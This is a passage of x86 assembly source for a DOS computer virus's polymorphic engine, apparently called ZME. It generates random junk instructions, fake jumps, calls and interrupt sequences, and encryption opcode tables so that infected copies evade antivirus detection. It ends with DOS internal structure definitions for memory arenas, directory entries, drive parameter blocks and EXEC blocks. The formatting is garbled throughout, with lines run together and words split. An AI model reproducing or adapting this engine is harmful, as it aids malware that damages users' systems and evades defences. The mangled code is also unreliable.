MASKAal , 010000x0 ;encode cmp/test before Jxcall force_not_branch_garble

DONEpblabel @encode_cond_jmp

call RND_GET_BYTEtest al , 1010b ; don't encode jo/jno/jpo/jpejpe @encode_cond_jmpMASKA al , 0111xxxx ; encode a conditional jmppush ax ; opcode 72..79, 7B..7Fcall choose_word_registercmp al , R_CXpop axDOIF E ; if possible use CX as garbage

MASKA al , 111000xx ; encode a conditional loop/jcxzDONE ; opcode E0..E3

pblabel do_cond_jmpstosbmov [ engdata.cJMP_patch ], di ; save target offsetstosbjmp many_nonbranch_garbleretn

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;* encode CALL *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel encode_CALL

test [ engdata.zmeflags ], MASK EN_USE_CALLjz garble_oncecmp byte ptr [ di - 3], opCALL ;<<<debugjz encode_cond_jmpcmp word ptr [ engdata.begin_sub ], 0 ; is there one pending?jz encode_cond_jmp ; encode cond jmptest [ engdata.zmeflags ], MASK EN_RELOCATORGOIN NZror al , 1

DOIF Csto_byte opCALL ; call nearmov ax , [ engdata.begin_sub ] ; calculate CALL offset

pblabel sto_min_di_2sub ax , didec axdec ax

DOELSE ; encode CALL registercall choose_wr_and_encode_mov ;al-register, cx-valuemov ax , [ engdata.begin_sub ]call setup_reg ;mov ah, 0D0h ; ax=0xD0FF nowor ah, cl ;

DONEstosw

@@ret:ret

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel not_branch_garble ;

DO ; get random INSTRUCTIONcall RND_GET_BYTE ; mostly do larger instructions normaliseand al , 00111110b ; random number is it the same as before?cmp al , [ engdata.lastgarble ] ; then try again, we don't want two

CYCLE E ; of the same sort in a rowpblabel force_not_branch_garble

mov [ engdata.lastgarble ], al ; else remember this one and process it;-------------------------------------------------- -------------------------

add ax , offset garble_table ;xchg si , ax ;mov cx , [ si ] ;and cl , not 1 ;call RND_GET_BYTE ;and al , ch ;and al , 3 ;or cl , al ;lea bx , [ vir_heap._engdata.reg0 ] ;and ch , not MASK R_M ; clear bottom 3 bitsDOIF Z ; if mod = 0

;- encode two register instruction -- or reg und me mory --------------------;----- process M0D -------------------------------- -------------------------

call RND_GET_BYTE ; get random M0Dand al , MASK M0D ;or ch , al ; fill in the fieldrol al , 2 ;mov dl , al ; dl=M0Dcmp al , 11b ; use two register ?DOIF B ; if use memory, i.e. [bx+si]

and cl , not 1 ; change to byte data "byte sized"DONE ; for not MOV AX,[0FFFFh]

;----- process Reg -------------------------------- -------------------------call choose_register ;test byte ptr [ si ], 00000100bDOIF NZ ; can we use any register as 1st ?

call RND_GET_THREE_BITSDONE ; yes! any! // for (test/cmp) operationmov [ engdata.lastchoose ], alshl al , REG ; move register into the reg field

;----- process R/M -------------------------------- -------------------------push axDO

call RND_GET_BYTE ; get random R/M

and al , MASK R_M ; in memory access,cmp al , [ engdata.lastchoose ]

CYCLE E ;don't "mov ax,ax" etcor ch , al ;cmp al , 110b ; if (R/M = 6)PASS NE ;test ch , MASK M0D ; and MOD = 00DOIF E ;

mov dl , 2 ; need two byte after instructionDONE ;

;-------------------------------------------------- -------------------------cmp ch , 0C0hDOIF B

call RND_GET_BYTEDOIF P

MASKA al , 0010x110 ; 26, 2E, 36, 3E - segment prefixstosb ;segcs | seges

DONEDONEpop ax

DOELSE;- encode one register instruction -------------- ! no memory ! ------------

call choose_register ;xor dl , dl ; no data bytestest byte ptr [ si ], 1 ;DOIF Z ; if shift, not, neg inctruction

inc dx ; assume bytetest cl , 1 ; byte or word of data?DOIF NZ ; continue if so

inc dx ; INC DX is better!!!DONE ;

DONEcmp si , offset enc_mov_immDOIF E

test cl , 1DOIF NE

add al , 8 ;wordDONEadd al , 0B0hmov cl , aljmp less_1

DONE;-------------------------------------------------- -------------------------

cmp al , R_AXDOIF E

test cl , 01111110bDOIF Z

and cl , 1or cl , chMASKA cl , 00xxx10xjmp less_1

DONEcmp si , offset enc_testDOIF E

sub cl , 0F6h- 0A8hpblabel less_1

call RND_GET_BYTEmov ch , aldec dx

DONEDONE

;- store instruction ------------------------------ -------------------------DONE ;

or ch , al ; 1st registerxchg cx , ax ;stosw ; write the instruction

;- store data bytes after instruction ------------- -------------------------pblabel store_data_bytes_after_instruction

and dl , dl ; needs data bytes?DOIF NZ ;

cmp dl , 3 ; check length of instructionDOIF NE ;

call RND_GET_BYTE ;stosb ; write the random bytedec dl ;

CYCLE NZ ;DONE ;retn ;

;endp ;;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel choose_register

call choose_word_registertest cl , 1 ; byte or word register?DOIF Z ; if word, we are okay

cmp al , R_SPDOIF AE ; is a SI, DI, BP,

pop bxDONEand ah, 4 ; change xL to xHor al , ah ; make either byte or word register

DONEret

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel choose_word_register;; 1..3 - crypt registers; 4..6 - garbage registers; 0..6 - all registers; 7654321;useregs 01111111b; ÀÁÁÁÁÁÁ***"1" - possible use reg6. .reg0; DOpblabel doo

mov bl ,[ engdata.useregs ]call RND_GET_THREE_BITS ; get random numberclc ; CF=0xchg cx , axshr bl , clxchg cx , axjnc doodec axlea bx , [ vir_heap._engdata.reg0 ]add bx , ax

;ifdcmp byte ptr [ bx ],- 1

;pubprotect_reg equ byte ptr $- 1

je doocmp al ,[ engdata.lastchoose ]

je doomov [ engdata.lastchoose ], al

mov al ,[ bx ]ret

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel setup_reg

add ax , VIRUSSTACKSIZE ;[engdata.sourceptr]sub ax , [ engdata.targetptr ]stosw

pblabel not_branch_garble_with_save_cxpush cxcall not_branch_garblepop cxmov ax , 0E0FFh ; encode JMP registerret

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel encode_push ;bx

DOpush bxcall choose_word_registerpop bxcmp al , R_CX

CYCLE BE;te:R_AX or R_CXpush axxchg cx , axcall encode_movxchg ax , bx

pblabel push_any_sux1stoswpop ax

pblabel push_any_sux ;al-register for pushadd al , opPUSH_AX ;push suxstosbretjmp many_nonbranch_garble

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel encode_push_addr

call choose_word_registerpush axxchg cx , axcall encode_movmov bx , dimov ax , VIRUSSTACKSIZE ;[engdata.sourceptr]sub ax , [ engdata.targetptr ]jmp push_any_sux1

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel encode_far_jmp ;cx:dx

call RND_GETDOIF P

push dxmov bx , cxcall encode_pushpop bx

call encode_pushSTO_BYTE opRETF

DOELSESTO_BYTE opJMPFARxchg ax , dxstoswxchg ax , cxstosw

DONEjmp shit

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel choose_function

call rnd_get_byte;- choose function

and al , 0Fhadd ax , offset int21funccmp ax , offset cf_1xchg si , ax

;- setup CFDOIF B

call choose_word_registerxchg cx , axcall encode_zero_reg ;encode CF=0

DONE;comment #;- setup DX;- enc mov dx,0..7fff;- need for deldir, delfile, findfirst

cmp si , offset setdxDOIF AE

mov cl , R_DXcall encode_movcall RND_GETshr ax , 1stosw

DONE;#

test di , ax ;pseudo-random;- setup reg AH

mov al , opMOV_AHimm;mov ah,xxDOIF P

sub cl , cl ;mov cl,R_AXcall encode_mov ;mov ax,xxxxcall RND_GET_BYTE

DONE

stosbmovsbret

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel int_any_reg

db 8h, 1ch , 28h , 2Bhdb 11h , 12h

pblabel with_setupdb 16h , 17h

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel cpm

db 18h , 1dh , 1eh , 20hpblabel int21func ;db 10h dup (30h);function return cf=1 or no change cf

db 51h , 62h , 30h ;- use as cmp toodb 19h , 2ah , 2ch , 36h , 4dh , 0dh , 23h , 0bh ; 54,

pblabel cf_1 ;function return cf=1 /--/--/- need setup(DX <>-1);46,db 5ch

pblabel setdx ;db 5c,5c,5cdb 3Dh, 41h , 4eh , 3Ah ;4Bh, -sux

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;* encode int 21 *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel encode_int21

mov protect_reg , R_AXtest [ engdata.zmeflags ], MASK EN_USE_INTjz unprotect_reg1cmp [ engdata.useregs ], REG_ALLjne unprotect_reg1call RND_GET_BYTE

; jz encode_intDOIF Z

;*ENCODE INTERRUPT********************************* *************************pblabel encode_int

call RND_GET_THREE_BITStest [ engdata.zmeflags ], MASK EN_RELOCATORDOIF Z ;only without relocator

call RND_GET_THREE_BITS; jz encode_cpm

DOIF Z;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel encode_cpm

call encode_push_addrpush bxcall many_nonbranch_garbleSTO_BYTE opPUSH_CS ; encode PUSH CScall many_nonbranch_garblecall RND_GET_THREE_BITS;push suxcall push_any_sux ;al-register for pushcall many_nonbranch_garblemov cl , R_CX ;mov cx,cpmfunccall encode_movcall RND_GET_THREE_BITSadd ax , offset cpmxchg si , axmovsbcall RND_GETstosbcall RND_GET_THREE_BITSmov cx , axmov al , 0Chsub al , clshl al , 4xchg dx , axcall encode_far_jmppop bxadd [ bx ], di

pblabel unprotect_reg1jmp unprotect_reg

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

DONEDONE

;* encode int 8, 1C, 16, 17, 11, 12, 2B, 28 ******* *************************

cmp al , 5DOIF A ;need setup

push axsto_byte opMOV_AHimmtest ax , di ;pseudo-randomsbb ax , ax ;-1 | 0inc ax ;inc ax ;stosb ; 1 | 2pop ax

DONEadd ax , offset int_any_regpush axcall many_nonbranch_garblepop sisto_byte opINTmovsb

pblabel unprotect_regmov protect_reg , - 1ret

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

DONEcall RND_GET_BYTEDOIF Z

call choose_functionsto_two_byte opINT , 21h

DOELSEcall RND_GET_BYTEmov al , 6DOIF Z

sub al , 6- 1EhDONEstosb ;push ds(es)push axcall many_nonbranch_garblecall choose_word_registerxchg cx , axcall encode_movcall RND_GET_THREE_BITSstoswshl ax , 4mov [ engdata.segm_IDT ], 84hsub [ engdata.segm_IDT ], al

;- enc mov ds(es), regsto_byte 8Ehpop axpush ax ;ax=6 | 1EMASKA al , 110xx000add al , clstosbcall choose_function ;clear C before pushfsto_byte opPUSHF ;pushf

; call many_nonbranch_garble

test [ engdata.zmeflags ], MASK EN_RELOCATORGOIN NZ ;force use callcall RND_GETDOIF Z ;use call

pop axpush ax ;ax=6 | 1Ecmp al , 6DOIF E

sto_byte opSEGES ;segesDONE ;ZF=1 -> 26, ZF=0 -> EB(maybe)sto_two_byte 0ffh , 1Ehmov al , [ engdata.segm_IDT ]xor ah, ahstosw

DOELSE ;use jmpsto_byte opPUSH_CS ;push cscall encode_push_addrpop axpush ax ;ax=6 | 1Ecmp al , 6DOIF E

sto_byte opSEGES ;segesDONEpush bxsto_two_byte 0ffh , 2Ehmov al , [ engdata.segm_IDT ]xor ah, ahstoswcall shitpop bxadd [ bx ], di

DONEpop axinc axstosb

DONE;** encode test CF after int21 ******************** *************************

call RND_GET_BYTEDOIF NZ

; jz @@ret ;maybe :)mov al , opJCadc al , 0stosbcmp si , offset cf_1DOIF A ;if instruct > 0A -> 73<=>72

dec axDONEcmp al , opJCDOIF NE ;73(jnc)

call RND_GET_THREE_BITSinc ax ;al=1..8stosb ;over shitcall shit_ax

DOELSE ;72(jc)call RND_GET_BYTE ; to shitstosb

DONEDONE

pblabel unprotect_reg2jmp unprotect_reg

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ; high byte holds the opcode, low byte holds the se cond byte of the; instruction, i.e. holds the reg/mod, etc. the bot tom 2 bits of the low; byte hold the maximum amount to add to the high b yte in creating the; instruction. This allows one word to generate mor e than one instruction,; including the byte or word forms of the instructi ons; note that this is reverse of what will be actuall y stored;-------------------------------------------------- --------------------------ONEHALF= 0

TWOHALF= 1 ;USE _ANY_ REGISTER FOR THIS OPERATIONBINOP = 0 ;TWO ARGUMENT OPERATIONUNEOP= 1 ;ONE ARGUMENT OPERATIONONLY_THIS_OPCODE= 00bUSE_ANY_SIZE = 01bINCL_NEXT_OPCODE= 11b;-------------------------------------------------- --------------------------dop macro highopcode , shiftneg , lowpcode , twohalf , secdlim

db highopcode or shiftneg , lowpcode or (( twohalf shl 2) and 4) or secdlimendm

;-------------------------------------------------- --------------------------pblabel garble_table ;for decryptpblabel encrypt_opcode_table

dop 10000000b , BINOP, 11110000b , ONEHALF, USE_ANY_SIZE ;³dop 11110110b , UNEOP, 11011000b , ONEHALF, USE_ANY_SIZE ;³dop 11010000b , UNEOP, 11000000b , ONEHALF, USE_ANY_SIZE ;³

;³dop 10000000b , BINOP, 11000000b , ONEHALF, USE_ANY_SIZE ;³Údop 00000010b , BINOP, 00000000b , ONEHALF, USE_ANY_SIZE ;³³dop 00110010b , BINOP, 00000000b , ONEHALF, USE_ANY_SIZE ;³³dop 00101010b , BINOP, 00000000b , ONEHALF, USE_ANY_SIZE ;³³dop 10000000b , BINOP, 11101000b , ONEHALF, USE_ANY_SIZE ;À³

; ³dop 11010000b , UNEOP, 11001000b , ONEHALF, USE_ANY_SIZE ; ³dop 11110110b , UNEOP, 11011000b , ONEHALF, USE_ANY_SIZE ; ³dop 10000000b , BINOP, 11110000b , ONEHALF, USE_ANY_SIZE ; ³

; for encryptpblabel end_encrypt_opcode_table ; ^---^^-simetrichnosizeof_encrypt_opcode_table equ ($- encrypt_opcode_table )

;startuppblabel enc_mov_imm

dop 10110000b , BINOP, 11000000b , ONEHALF, USE_ANY_SIZEdop 10001010b , BINOP, 00000000b , ONEHALF, USE_ANY_SIZEdop 10001010b , BINOP, 00000000b , ONEHALF, USE_ANY_SIZEdop 10001010b , BINOP, 00000000b , ONEHALF, USE_ANY_SIZEdop 00001010b , BINOP, 00000000b , ONEHALF, USE_ANY_SIZEdop 00010010b , BINOP, 00000000b , ONEHALF, USE_ANY_SIZEdop 00011010b , BINOP, 00000000b , ONEHALF, USE_ANY_SIZEdop 00100010b , BINOP, 00000000b , ONEHALF, USE_ANY_SIZE;

; dop 00111000b, BINOP, 00000000b, TWOHALF , INCL_NEXT_OPCODEdop 00111010b , BINOP, 00000000b , TWOHALF, USE_ANY_SIZE

; dop 10001010b, BINOP, 00000000b, ONEHALF , USE_ANY_SIZE;; dop 10001010b, BINOP, 00000000b, ONEHALF , USE_ANY_SIZE;

dop 10000000b , BINOP, 11001000b , ONEHALF, USE_ANY_SIZEdop 10000000b , BINOP, 11010000b , ONEHALF, USE_ANY_SIZEdop 10000000b , BINOP, 11011000b , ONEHALF, USE_ANY_SIZEdop 10000000b , BINOP, 11100000b , ONEHALF, USE_ANY_SIZE

; dop 10000000b, BINOP, 11100000b, ONEHALF , USE_ANY_SIZEdop 10000100b , BINOP, 00000000b , TWOHALF, USE_ANY_SIZEdop 11010000b , UNEOP, 11001000b , ONEHALF, INCL_NEXT_OPCODEdop 11010000b , UNEOP, 11010000b , ONEHALF, INCL_NEXT_OPCODEdop 11010000b , UNEOP, 11011000b , ONEHALF, INCL_NEXT_OPCODEdop 11010000b , UNEOP, 11100000b , ONEHALF, INCL_NEXT_OPCODEdop 11010000b , UNEOP, 11101000b , ONEHALF, INCL_NEXT_OPCODEdop 11010000b , UNEOP, 11111000b , ONEHALF, INCL_NEXT_OPCODE

; dop 11010000b, UNEOP, 11111000b, ONEHALF , INCL_NEXT_OPCODEdop 11110110b , UNEOP, 11010000b , ONEHALF, USE_ANY_SIZE

; ^^ |= (RND and ^^); ^ 1 -> use any register & memory; ^^ = 0 possible use mem ory, 11- registers only

; ^- if 1 then not need argum ents(shift, not, neg)pblabel enc_test

dop 11110110b , BINOP, 11000000b , TWOHALF, USE_ANY_SIZEdop 10000000b , BINOP, 11111000b , TWOHALF, USE_ANY_SIZE

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel onebyte_table

stc ; |clc ; |cld ; |cmc ; |sahf ; |

pblabel onebyte_table_ax ; |cli ;-\

dec ax ; |inc ax ;-/-\

;****************************************|********* *************************lahf ; |daa ; |das ; |cbw ; |xlat ; /

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;PMtest db 050h,0B8h,086h,016h,0CDh,02Fh,023h,0C0h, 058h,075h,006h,05Fh,055h

db 08Bh, 0ECh, 0FFh, 0E7hpblabel ZME_ENDendsend

;read/write int 25/26AbsDiskIORec STRUC

AbsDisk_start_sect dd ? ; lStartSect logical sector no. to start r/wAbsDisk_sect_num dw ? ; wSectCnt number of sectors to read/writeAbsDisk_buffer dd ? ; pBuffer FAR addr of data buffer

ENDS

; SCCSID = @(#)arena.asm 1.1 85/04/09;BREAK <Memory arena structure>

;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;; C A V E A T P R O G R A M M E R ;; ;;; arena item;arena STRUCarena_signature DB ? ; 4D for valid item, 5A for last itemarena_owner DW ? ; owner of arena itemarena_size DW ? ; size in paragraphs of itemarena ENDS

;; CAUTION: The routines in ALLOC.ASM rely on the fa ct that arena_signature; and arena_owner_system are all equal to zero and are contained in DI. Change; them and change ALLOC.ASM.

arena_owner_system EQU 0 ; free block indication

arena_signature_normal EQU 4Dh ; valid signature, not end of arenaarena_signature_end EQU 5Ah ; valid signature, last block in arena; ;; C A V E A T P R O G R A M M E R ;

;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;

; SCCSID = @(#)dirent.asm 1.1 85/04/10; SCCSID = @(#)dirent.asm 1.1 85/04/10;Break <Directory entry>

;; +---------------------------+; | (12 BYTE) filename/ext | 0 0; +---------------------------+; | (BYTE) attributes | 11 B; +---------------------------+; | (10 BYTE) reserved | 12 C; +---------------------------+; | (WORD) time of last write | 22 16; +---------------------------+; | (WORD) date of last write | 24 18; +---------------------------+; | (WORD) First cluster | 26 1A; +---------------------------+; | (DWORD) file size | 28 1C; +---------------------------+;; First byte of filename = E5 -> free directory entry; = 00 -> end of allocate d directory; Time: Bits 0-4=seconds/2, bits 5-10=minute, 1 1-15=hour; Date: Bits 0-4=day, bits 5-8=month, bits 9-15 =year-1980;

dir_entry STRUCdir_name DB 11 DUP (?) ; file namedir_attr DB ? ; attribute bitsdir_pad DB 10 DUP (?) ; reserved for expansiondir_time DW ? ; time of last writedir_date DW ? ; date of last writedir_first DW ? ; first allocation unit of filedir_size_l DW ? ; low 16 bits of file sizedir_size_h DW ? ; high 16 bits of file sizedir_entry ENDS

attr_read_only EQU 1hattr_hidden EQU 2hattr_system EQU 4hattr_volume_id EQU 8hattr_directory EQU 10hattr_archive EQU 20hattr_device EQU 40h ; This is a VERY special bit.

; NO directory entry on a disk EVER; has this bit set. It is set non-zero; when a device is found by GETPATH

attr_all EQU attr_hidden +attr_system +attr_directory; OR of hard attributes for FINDENTRY

attr_ignore EQU attr_read_only +attr_archive +attr_device; ignore this(ese) attribute(s) during; search first/next

attr_changeable EQU attr_read_only +attr_hidden +attr_system +attr_archive; changeable via CHMOD

; SCCSID = @(#)dpb.asm 1.1 85/04/10; SCCSID = @(#)dpb.asm 1.1 85/04/10

;BREAK <DPB structure>;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;; C A V E A T P R O G R A M M E R ;; ;dpb STRUCdpb_drive DB ? ; Logical drive # assoc with DPBdpb_UNIT DB ? ; Driver unit number of DPBdpb_sector_size DW ? ; Size of physical sector in bytesdpb_cluster_mask DB ? ; Sectors/cluster - 1dpb_cluster_shift DB ? ; Log2 of sectors/clusterdpb_first_FAT DW ? ; Starting record of FATsdpb_FAT_count DB ? ; Number of FATs for this drivedpb_root_entries DW ? ; Number of directory entriesdpb_first_sector DW ? ; First sector of first clusterdpb_max_cluster DW ? ; Number of clusters on drive + 1dpb_FAT_size DB ? ; Number of records occupied by FATdpb_dir_sector DW ? ; Starting record of directorydpb_driver_addr DD ? ; Pointer to driverdpb_media DB ? ; Media bytedpb_first_access DB ? ; This is init. to -1 to force a media

; check the first time this DPB is useddpb_next_dpb DD ? ; Pointer to next Drive parameter blockdpb_next_free DW ? ; Cluster # of last allocated clusterdpb_free_cnt DW ? ; Count of free clusters, -1 if unknowndpb ENDS

DPBSIZ EQU SIZE dpb ; Size of the structure in bytes

DSKSIZ = dpb_max_cluster ; Disk size (used during init only); ;; C A V E A T P R O G R A M M E R ;;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;

; SCCSID = @(#)exe.asm 1.1 85/04/10; SCCSID = @(#)exe.asm 1.1 85/04/10;BREAK <EXEC and EXE file structures>;; EXEC arg block - load/go program;

;; The following get used as arguments to the EXEC s ystem call. They indicate; whether or not the program is executed or whether or not a program header; gets created.;exec_func_no_execute EQU 1 ; no execute bitexec_func_overlay EQU 2 ; overlay bit

Exec0 STRUCExec0_environ DW ? ; seg addr of environmentExec0_com_line DD ? ; pointer to asciz command lineExec0_5C_FCB DD ? ; default fcb at 5CExec0_6C_FCB DD ? ; default fcb at 6CExec0 ENDS

Exec1 STRUCExec1_environ DW ? ; seg addr of environmentExec1_com_line DD ? ; pointer to asciz command lineExec1_5C_FCB DD ? ; default fcb at 5CExec1_6C_FCB DD ? ; default fcb at 6CExec1_SP DW ? ; stack pointer of programExec1_SS DW ? ; stack seg register of programExec1_IP DW ? ; entry point IP

Exec1_CS DW ? ; entry point CSExec1 ENDS

Exec3 STRUCExec3_load_addr DW ? ; seg address of load pointExec3_reloc_fac DW ? ; relocation factorExec3 ENDS

